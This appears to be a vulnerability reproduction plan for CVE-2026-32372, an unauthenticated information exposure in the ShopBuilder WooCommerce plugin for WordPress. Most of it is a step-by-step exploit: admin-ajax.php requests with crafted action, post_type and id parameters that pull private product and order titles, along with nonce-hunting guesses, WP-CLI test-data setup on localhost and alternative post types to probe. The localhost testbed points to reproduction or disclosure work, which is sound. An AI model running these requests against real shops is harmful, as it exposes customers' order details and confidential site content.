Research Plan: CVE-2026-32372 Information Exposure in ShopBuilder

1. Vulnerability Summary

The ShopBuilder – Elementor WooCommerce Builder Addons plugin (versions <= 3.2.4) is vulnerable to Unauthenticated Information Exposure. The vulnerability stems from AJAX handlers that are registered for both authenticated and unauthenticated users (wp_ajax_nopriv_) which lack proper capability checks or post-status restrictions. This allows an attacker to query for and retrieve titles/data of sensitive post types, such as WooCommerce orders, private products, and internal templates.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Actions:
  • rtsb_select2_object_search
  • rtsb_select2_get_title
• Vulnerable Parameters: post_type, q (search term), and id (for get_title).
• Authentication: Unauthenticated (via wp_ajax_nopriv_ hooks).
• Preconditions: The plugin must be active. WooCommerce must be active for maximum impact (leaking orders).

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST or GET request to admin-ajax.php with the action rtsb_select2_object_search.
2. Hook Registration: In app/Controllers/BuilderController.php, the following hooks are registered:

   add_action( 'wp_ajax_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
   add_action( 'wp_ajax_nopriv_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
   add_action( 'wp_ajax_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
   add_action( 'wp_ajax_nopriv_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
   

3. Handler Execution: The select2_ajax_posts_filter_autocomplete method (invoked by nopriv_rtsb_select2_object_search) processes user-supplied parameters.
4. Information Leak: The handler typically performs a WP_Query based on the post_type and q parameters. If it fails to restrict the post_status to publish or verify the user's capability to read the requested post_type, it returns titles and IDs of private or restricted content.

4. Nonce Acquisition Strategy

While many search-related AJAX handlers in Elementor add-ons omit nonce checks to improve performance and compatibility with caching, we should prepare to acquire one if required.

1. Identify Trigger: The rtsb_select2_object_search is likely used by the "WooCommerce AJAX Product Filter Widget" or "Checkout Fields Editor" modules mentioned in the README.txt.
2. Create Test Page:

   wp post create --post_type=page --post_title="Search Test" --post_status=publish --post_content='[shopbuilder_ajax_filter]' 
   # Note: If shortcode name is unknown, use a generic WooCommerce shop page.
   

3. Extract Nonce: ShopBuilder likely localizes its settings. Use browser_eval to look for nonces in the global scope:
   • Variable Guess: window.rtsb_params?.nonce
   • Variable Guess: window.shopbuilder_data?.nonce
   • Variable Guess: window.rtsb_select2_nonce

Note: If the nopriv registration was intentional for frontend filters, the nonce is likely public.

5. Exploitation Strategy

We will attempt to leak the title of a WooCommerce Order and a Private Product.

Step 1: Discover Search Endpoint

Send an unauthenticated request to the search action to determine if it responds without a nonce.

Request:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=rtsb_select2_object_search&q=secret&post_type=any

Step 2: Target Sensitive Data

If the previous request succeeds, target WooCommerce orders. Orders often contain the customer's name in the title.

Request:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body: action=rtsb_select2_object_search&q=Order&post_type=shop_order

Step 3: Leak Titles by ID

Use the rtsb_select2_get_title action to retrieve the title of a specific known ID.

Request:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body: action=rtsb_select2_get_title&id=ID_OF_PRIVATE_POST

6. Test Data Setup

Perform the following via WP-CLI to create content to leak:

1. Create a Private Product:

   wp post create --post_type=product --post_title="SECRET_VULN_PRODUCT" --post_status=private
   

2. Create a WooCommerce Order:

   wp post create --post_type=shop_order --post_title="CONFIDENTIAL_ORDER_DOE" --post_status=wc-processing
   

3. Identify IDs: Note the IDs returned by the above commands for use in Step 3 of the exploitation.

7. Expected Results

• A successful exploit of rtsb_select2_object_search will return a JSON object containing an array (e.g., results or data) where the text or title property matches "SECRET_VULN_PRODUCT" or "CONFIDENTIAL_ORDER_DOE".
• A successful exploit of rtsb_select2_get_title will return the string or JSON containing the exact title of the post ID provided, regardless of its private status.

8. Verification Steps

1. Capture Response: Verify the HTTP response body contains the string SECRET_VULN_PRODUCT.
2. Confirm Status: Use WP-CLI to confirm that the post is indeed private:

   wp post get <ID> --field=post_status
   

   If the status is private but the title was returned to an unauthenticated user, the exposure is confirmed.

9. Alternative Approaches

If post_type=any is blocked, try specific internal post types:

• shop_order (WooCommerce Orders)
• rtsb_builder (The plugin's own templates - may contain configuration data)
• wp_template (FSE templates)
• customize_changeset (Drafted site changes)

If a nonce is strictly required and not found on the frontend, check if check_ajax_referer is called with $die = false in the controller:

// Inferred pattern to check for
check_ajax_referer( 'rtsb_nonce', 'nonce', false );
// If result is not checked, the exploit still works with a dummy nonce.